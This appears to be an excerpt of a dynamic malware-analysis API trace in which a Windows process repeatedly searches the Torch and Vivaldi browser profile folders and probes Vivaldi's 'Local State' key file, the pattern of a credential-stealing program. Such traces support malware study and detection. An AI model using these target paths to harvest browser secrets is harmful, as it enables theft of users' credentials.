[0052.779] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.779] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.779] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.779] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.779] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.779] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.779] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.779] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x181904 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0052.779] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local"
[0052.779] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Vivaldi\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\"
[0052.779] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\"
[0052.779] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\"
[0052.779] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\Local State"
[0052.779] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d910
[0052.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=67, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67
[0052.779] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x86) returned 0x67d968
[0052.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=67, lpWideCharStr=0x67d968, cchWideChar=67 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\Local State") returned 67
[0052.779] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x67d9f8
[0052.779] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0052.780] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\local state")) returned 0xffffffff
[0052.780] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9f8 | out: hHeap=0x670000) returned 1
[0052.780] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.780] wsprintfA (in: param_1=0x1818cc, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*") returned 56
[0052.780] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*"), lpFindFileData=0x18178c | out: lpFindFileData=0x18178c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.780] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.780] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.780] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.780] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.780] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.780] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.780] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.780] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.780] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.780] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.781] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.781] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.781] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.781] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.781] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.781] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.781] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.781] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.781] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.781] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.781] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.781] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.781] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.781] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.781] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.781] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.781] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.781] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.782] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.782] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.782] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.782] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.782] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.782] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.782] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.782] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.782] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.782] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.782] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.782] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.782] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
